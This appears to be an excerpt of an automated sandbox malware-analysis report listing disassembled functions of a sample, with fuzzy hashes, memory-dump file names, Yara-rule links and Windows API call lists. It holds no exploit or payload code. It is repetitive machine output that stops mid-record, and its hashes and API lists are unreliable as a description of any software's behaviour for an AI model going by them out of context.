Opcode Fuzzy Hash: 4dd7a0b13a9d7347612f06730512cd5f3b76fef1925dd8d03a89d49b04848b04
Instruction Fuzzy Hash: C371C233500A858FC7189F6AACE176DBBE6F7D53003558A2EC15ADB3A1DE34680ACF45

Function 0046A9A4 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09e427cc0f5c48326d696f622ddb13854d7e20a58c35d846649955e18978596
Instruction ID: a3505e7148b717dad8d687b627bb840f9d86dce94df3fa871daaed605d4dd7e7
Opcode Fuzzy Hash: e09e427cc0f5c48326d696f622ddb13854d7e20a58c35d846649955e18978596
Instruction Fuzzy Hash: 4C71152124DBC24BC7299B2888A42F6FFD19FA7301F5C95FED9D64F392D4066409C726

Function 00476660 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c85e5f8c1b8543d5e31b2507d484f8634bc59b4117db2810bbc7b5cb86d4c726
Instruction ID: b90b908a4f87a363fb3ce3ae10c61b756cf0863949d67b867acf2b0fd42ce522
Opcode Fuzzy Hash: c85e5f8c1b8543d5e31b2507d484f8634bc59b4117db2810bbc7b5cb86d4c726
Instruction Fuzzy Hash: 9181F73954A7819FC711CF29C0D04A6FBE2BF9E204F5D999DE9C50B316C231A91ACB92

Function 004692F0 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28975c8cbe85929923084557e1309cadeb353f9240eb7ed51554117be7eda12e
Instruction ID: 417918dde692fa0e9d2f0c19c447f076612635adfbf4bc23e95db0cd2b20bd1f
Opcode Fuzzy Hash: 28975c8cbe85929923084557e1309cadeb353f9240eb7ed51554117be7eda12e
Instruction Fuzzy Hash: 4E51163130C3504FD305CE2D989016AFBD69BCD324F1C8A6EC8D9C7752EAB69C468786

Function 00488590 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c172c9d8f93b73f39a4111e544e2fb34e5b8164a78f8d9deac18910f137a17da
Instruction ID: 202d093e7e49d99b722666b7fde640ea6c56ac5a64121109b8a9c7ba18f0dbbe
Opcode Fuzzy Hash: c172c9d8f93b73f39a4111e544e2fb34e5b8164a78f8d9deac18910f137a17da
Instruction Fuzzy Hash: 09519F36600182CBD3284F29ADD422CBFA5F78539036E473ECA4ADBE55D634454ADF86

Function 0046A7F1 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d4d2dea2c165661568dc7cef3cf9871e53b13df2d48047b3dc5f70df1b2c506
Instruction ID: 8121f818a6f883acc4acf0b14d04e49e0ebd14ed71dbc5fe1514d5ffbb7e40e3
Opcode Fuzzy Hash: 4d4d2dea2c165661568dc7cef3cf9871e53b13df2d48047b3dc5f70df1b2c506
Instruction Fuzzy Hash: D741393A3196838BC7289E3C84502F6FBA1EF9A300B5847BED4D5C7742E519D51ACB53

Function 0046A506 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c27889d51f487b201adba72a386df83b8ac4b76ef92a9fc20cd27d85f323ea
Instruction ID: b4d9717432797a3fd900913eba56ef9813019807341ce58b30a6a7bb39a3648e
Opcode Fuzzy Hash: a8c27889d51f487b201adba72a386df83b8ac4b76ef92a9fc20cd27d85f323ea
Instruction Fuzzy Hash: 5251C16920DBD14AC71A973C54A95F7FFE29F6B301B4E90EEC4DA8B323D5164018C762

Function 0046C190 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11e7f4dc74ad20cc567682c9f77c8751c906ea86f4c919ed91a55df7b3e11874
Instruction ID: c9876a642f76f26d1550af913d797f8e0cf90e26707cc3198f67f7611aff7956
Opcode Fuzzy Hash: 11e7f4dc74ad20cc567682c9f77c8751c906ea86f4c919ed91a55df7b3e11874
Instruction Fuzzy Hash: 574183327009414BC768CA6AD4E01FBB7D3DBD6351B28C8ABC9DF8BB25E5355444CB85

Function 00480640 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
Instruction ID: 226b09168b1b3484662694fcfb2fe36d9e42e4535ad417b097e14215f4b6f1d2
Opcode Fuzzy Hash: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
Instruction Fuzzy Hash: 7F313E3374558203F71DDA2F8CA12BEEAD34FC522872DD97E99C98B356ECB9441B8244

Function 00462DE0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a17b5f9e154098d8a79991de83118586254c48ff6da46a3daaaaf47c62e81e
Instruction ID: ff55d00517b844fbcda65e05af58d0836b52732e97d7ecbb64a1710fd25eeb3e
Opcode Fuzzy Hash: 37a17b5f9e154098d8a79991de83118586254c48ff6da46a3daaaaf47c62e81e
Instruction Fuzzy Hash: DD31B9227BA49207D354CEBD9C80177F79797C6305BACC6BDE584C7A09ED79D8074214

Function 0057E340 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 2b560115ddd61bf109b70bf699435f33df4eb8510fa11d8df01b206c20861e09
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 0E11297720035183D6148A2DF4BA5BAAF95FBCD32172CCBF6D0494B654D222B541B600

Function 0049AF70 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e65a41849ba1dff17564a555de7faa284a3be694d3db7f60d411abc468340149
Instruction ID: d13b56e33ee0e1519250cefea0046f428841a057cce8b56b010914e3c0c62521
Opcode Fuzzy Hash: e65a41849ba1dff17564a555de7faa284a3be694d3db7f60d411abc468340149
Instruction Fuzzy Hash: E4113AE724404147DF04CA2ED5B42BBEFA6EBC532472D837BD0428B74CD629986999CA

Function 0058AC84 Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88b19f0606d6d4ac3972663117d0f8237b8289b6beadabd69de9351bc6acbc42
Instruction ID: 6d0eaaf5e2e6574b3430bafc2fc948ed8c855369919671ec7642bf79470e1de7
Opcode Fuzzy Hash: 88b19f0606d6d4ac3972663117d0f8237b8289b6beadabd69de9351bc6acbc42
Instruction Fuzzy Hash: F8E01239000A08AFDF22BF10DD08A483F29BB41382B408424FD049B122CB369D82CB91

Function 00454350 Relevance: 63.5, APIs: 35, Strings: 1, Instructions: 459windowsleepCOMMON

Download Yara Rule

APIs

73E9A570.USER32(?), ref: 00454372
SetStretchBltMode.GDI32(00000000,00000000), ref: 00454385
SelectObject.GDI32(00000000,00000000), ref: 004543FC
SelectObject.GDI32(?,?), ref: 00454426
PatBlt.GDI32(?,00000000,00000000,?,?,00F00021), ref: 00454448
SelectObject.GDI32(?,?), ref: 00454458
SelectObject.GDI32(?,?), ref: 00454464
GetTickCount.KERNEL32 ref: 004544B2
SelectObject.GDI32(?,?), ref: 004544EA
SelectObject.GDI32(00000000,00000000), ref: 00454506
SelectObject.GDI32(00000000,?), ref: 00454537
DeleteObject.GDI32(00000000), ref: 0045453E
SelectObject.GDI32(00000000,00000000), ref: 0045458E
SelectObject.GDI32(00000000,?), ref: 004545BF
SelectObject.GDI32(00000000,?), ref: 004545C7
SelectObject.GDI32(00000000,?), ref: 00454623
SelectObject.GDI32(00000000,?), ref: 00454633
SetBkColor.GDI32(00000000,?), ref: 00454645
SetBkColor.GDI32(00000000,?), ref: 00454672
SelectObject.GDI32(00000000,?), ref: 00454702
DeleteObject.GDI32(00000000), ref: 00454709
SelectObject.GDI32(00000000,?), ref: 00454715
DeleteObject.GDI32(00000000), ref: 0045471C
DeleteDC.GDI32(00000000), ref: 00454729
DeleteDC.GDI32(00000000), ref: 0045472C
SelectObject.GDI32(00000000,?), ref: 00454765
DeleteObject.GDI32(?), ref: 0045476C
IsWindow.USER32(?), ref: 00454776
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,?,?,ETERMINATOR), ref: 004547DA
SelectObject.GDI32(?,?), ref: 00454814
Sleep.KERNEL32(0000000A), ref: 00454860
GetTickCount.KERNEL32 ref: 00454866
DeleteObject.GDI32(00000000), ref: 00454893
DeleteDC.GDI32(00000000), ref: 004548A0
DeleteDC.GDI32(?), ref: 004548A7

Part of subcall function 00453E90: GetClientRect.USER32(?,?), ref: 00453EB7
Part of subcall function 00453E90: __ftol.LIBCMT ref: 00453F8E
Part of subcall function 00453E90: __ftol.LIBCMT ref: 00453FA1

Strings

ETERMINATOR, xrefs: 0045450E, 0045459E, 00454651, 00454743, 004547A5

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Object$Select$Delete$ColorCountStretchTick__ftol$A570ClientModeRectSleepWindow
String ID: ETERMINATOR
API String ID: 1940113767-2947605395
Opcode ID: c72e1acb9d71df1d10998fa116948d246a121d1fc54ab87b4860f629d8ed35e9
Instruction ID: a1bb71e42c736de9fcac35357941acad773327335b03cbf088d32a81f274aace
Opcode Fuzzy Hash: c72e1acb9d71df1d10998fa116948d246a121d1fc54ab87b4860f629d8ed35e9
Instruction Fuzzy Hash: 8502D8B5204700AFE324DF65CC85F6BB7E9FB89704F104A1DFA9697290D774E8058B29

Function 00452CF0 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 356windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00439370: SendMessageA.USER32(?,00000143,00000000,?), ref: 00439393

GetProfileStringA.KERNEL32(windows,device,,,,,?,000001F4), ref: 00452D49
GetProfileStringA.KERNEL32(devices,00000000,00CD851C,?,00001000), ref: 00452D88
GetProfileStringA.KERNEL32(devices,?,,,,,?,000000C8), ref: 00452DCA
SendMessageA.USER32(?,00000143,00000000), ref: 00452E8B
SendMessageA.USER32(?,0000014E,?,00000000), ref: 00452EC8
SendMessageA.USER32(?,0000014E,?,00000000), ref: 00452F6B
wsprintfA.USER32 ref: 00452F84
wsprintfA.USER32 ref: 00452FAA
wsprintfA.USER32 ref: 00452FD0
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00453003
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0045302E
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00453044
SendMessageA.USER32(?,0000014E,?,00000000), ref: 0045305B
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0045309F
wsprintfA.USER32 ref: 004530B2
wsprintfA.USER32 ref: 004530DC
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00453102
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00453143
wsprintfA.USER32 ref: 00453154

Strings

device, xrefs: 00452D3F
,,,, xrefs: 00452D3A, 00452DBF
none, xrefs: 00452E08
windows, xrefs: 00452D44
devices, xrefs: 00452D83, 00452DC5

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
